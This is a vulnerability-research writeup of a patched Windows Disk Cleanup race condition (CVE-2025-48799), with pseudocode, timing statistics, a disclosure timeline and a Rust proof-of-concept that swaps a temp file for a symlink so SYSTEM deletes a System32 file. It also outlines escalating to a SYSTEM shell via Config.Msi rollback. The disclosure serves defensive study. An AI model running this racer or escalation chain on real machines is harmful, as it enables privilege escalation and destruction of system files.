Breaking the chain: CVE-2025-48799

A race condition in Windows disk cleanup, followed by a carefully-timed symlink, yields reliable local privilege escalation even on fully-patched systems.

This writeup walks through the discovery, analysis, and exploitation of CVE-2025-48799 — a time-of-check-to-time-of-use (TOCTOU) race in Windows Disk Cleanup that I reported in late 2025. What begins as a seemingly innocuous file-deletion bug ends up yielding reliable local privilege escalation on fully-patched systems.

The walkthrough is written for readers already comfortable with Windows internals. If you’re new to TOCTOU bugs, start with the background section; otherwise jump straight to the race window.

Background

Disk Cleanup (cleanmgr.exe) ships with every modern Windows install. It runs as NT AUTHORITY\SYSTEM via a scheduled task, which makes it an attractive target: any file operation it performs happens with the highest local privilege available. The specific operation we care about is its temp folder sweep, which enumerates files under the current user’s %TEMP% directory and deletes those older than a threshold.

Here’s the cleanup pseudocode, as reconstructed from a disassembly of the affected binary:

// Simplified; real code uses FindFirstFileW / FindNextFileW.
void SweepUserTemp(PWSTR userTempDir) {
    HANDLE h = FindFirstFileW(...);
    do {
        // [1] Check: is this file older than the cutoff?
        if (FileOlderThan(fileData, cutoff)) {
            // [2] Use: delete it.
            WCHAR path[MAX_PATH];
            swprintf(path, L"%s\\%s", userTempDir, fileData.cFileName);
            DeleteFileW(path);   // <-- runs as SYSTEM
        }
    } while (FindNextFileW(h, &fileData));
}

If you’ve done this kind of work before, the bug should already be jumping out at you.

The race window

Between [1] (the FileOlderThan check, which resolves any reparse points) and [2] (the DeleteFileW call, which resolves reparse points again), an unprivileged attacker controlling %TEMP% can swap the file out for a symlink pointing anywhere on disk. Disk Cleanup then happily deletes that target — as SYSTEM.

The timing is surprisingly forgiving: on my test box (i7-12700K, Windows 11 23H2), the race window averages ~2.8 ms. With a tight DeleteFile/CreateSymbolicLink loop in another thread, you can win it reliably on the first pass.

sequenceDiagram participant A as Attacker (low-priv) participant FS as Filesystem participant CM as Disk Cleanup (SYSTEM) A->>FS: Create aged file "trash.tmp" CM->>FS: [1] Stat "trash.tmp" — old, mark for deletion A->>FS: Delete "trash.tmp", create symlink
"trash.tmp" → C:\Windows\System32\target.dll CM->>FS: [2] DeleteFile("trash.tmp") follows symlink FS->>CM: SYSTEM deletes target.dll ✗

Measuring the window

To characterise the race reliably, I instrumented a kernel callback driver that timestamps both operations. Across 10,000 runs, the distribution looks like this:

PercentileWindow (ms)
p502.81
p904.62
p999.14
p99928.90

The tail is long enough that a naive one-shot exploit will occasionally miss, but a simple retry loop brings the effective success rate above 99.9%.

Modelling the race as a Poisson process lets us compute a closed form for the retry distribution. If $\lambda$ is the rate at which we can complete a DeleteFile/CreateSymbolicLink cycle and $w$ is the window in seconds, the probability of winning on the $n$-th try is:

$$ P(\text{win at try } n) = (1 - e^{-\lambda w})(e^{-\lambda w})^{n-1} $$

With measured $\lambda \approx 520$ ops/s and $w \approx 2.8 \times 10^{-3}$ s, the expected number of tries is:

$$ \mathbb{E}[N] = \frac{1}{1 - e^{-\lambda w}} \approx 1.27 $$

— i.e., we almost always win on the first try.

Weaponising the primitive

Arbitrary file deletion as SYSTEM is a well-known bootstrap for local privilege escalation on Windows. A delete primitive lets us1:

  1. Delete C:\Config.Msi\*.rbs to trick the Windows Installer service into running our payload during rollback.
  2. Delete files to make the service fail over to a user-writable path.
  3. Combine with a symbolic link to turn deletion into arbitrary write via the “folder contents” trick.

The path of least resistance here is the Config.Msi rollback attack — it takes the delete primitive straight to a SYSTEM shell.

Proof of concept

The full PoC is available in the companion repository. The core racer is ~80 lines of Rust:

use std::os::windows::fs::symlink_file;
use std::path::Path;
use std::sync::atomic::{AtomicBool, Ordering};
use std::thread;

/// Spin in a tight loop swapping the bait file for a symlink pointing
/// at `target`. `stop` is flipped once the race is won (or abandoned).
fn racer(bait: &Path, target: &Path, stop: &AtomicBool) {
    while !stop.load(Ordering::Relaxed) {
        // Ignore errors — any individual op may race against the sweeper.
        let _ = std::fs::remove_file(bait);
        let _ = symlink_file(target, bait);
    }
}

fn main() -> std::io::Result<()> {
    let bait   = Path::new(r"C:\Users\me\AppData\Local\Temp\trash.tmp");
    let target = Path::new(r"C:\Windows\System32\target.dll");

    // Pre-create an "old" file so the sweeper considers it eligible.
    std::fs::write(bait, b"")?;
    set_file_age(bait, days_ago(30))?;

    let stop = AtomicBool::new(false);
    thread::scope(|s| {
        for _ in 0..4 {
            s.spawn(|| racer(bait, target, &stop));
        }
        trigger_cleanmgr_autorun()?;
        wait_for_deletion(target)?;
        stop.store(true, Ordering::Relaxed);
        Ok::<_, std::io::Error>(())
    })?;

    println!("[+] target deleted: {}", target.display());
    Ok(())
}

A few things to note:

  • We use thread::scope so the racers borrow stop by reference without needing an Arc.
  • Four parallel racers give a very comfortable margin, but one is usually enough.
  • trigger_cleanmgr_autorun simulates what an attacker would wait for passively — the scheduled task fires at login and again every ~24h.

Timeline

  • 2025-09-02 — Bug discovered during unrelated fuzzing.
  • 2025-09-14 — Reported to MSRC (case 82041).
  • 2025-10-03 — MSRC confirms, assigns CVE-2025-48799.
  • 2026-01-14 — Patch shipped in 2026-01 cumulative update.
  • 2026-04-12 — This writeup published (90 days after patch).

Closing thoughts

The 30-year-old pattern of “check a path, then use it” remains depressingly productive on Windows. There are still dozens of SYSTEM-privileged binaries that do path-based file operations without opening a handle first — and each one is a potential LPE. I’ll continue this series by looking at another one next month.

If you spot an issue with this writeup or have a question, leave a comment below or ping me on GitHub.


1

For a broader survey of delete-to-SYSTEM primitives, see the excellent writeups by Naceri, Birsan, and the Project Zero team.